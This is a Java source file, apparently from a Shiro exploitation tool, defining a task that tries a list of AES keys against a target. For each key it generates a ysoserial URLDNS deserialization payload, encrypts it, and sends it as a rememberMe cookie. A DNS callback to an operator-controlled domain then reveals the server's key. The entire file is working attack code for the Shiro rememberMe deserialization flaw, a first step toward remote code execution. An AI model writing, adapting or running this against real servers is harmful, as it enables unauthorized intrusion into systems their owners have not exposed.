package com.shiroexploit.task;

import com.shiroexploit.core.AesEncrypt;
import com.shiroexploit.util.Config;
import com.shiroexploit.util.HttpRequest;
import com.shiroexploit.util.Tools;
import javafx.concurrent.Task;
import java.io.File;
import java.util.List;

public class SendURLDNSPayloadTask extends Task<Integer> {
    private int status = 0;
    private String dns;

    public int getStatus(){
        return status;
    }

    public SendURLDNSPayloadTask(String dns){
        this.dns = dns;
    }

    @Override
    protected Integer call() throws Exception {

        List<String> keys = Config.getInstance().getKeys();
        for(int i = 0; i < keys.size(); i++){
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + (i+1) + "." + dns;
            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(keys.get(i), payload);
            HttpRequest.request(Config.getInstance().getRequestInfo(), rememberMe);
        }

        status = 1;
        return 1;
    }
}
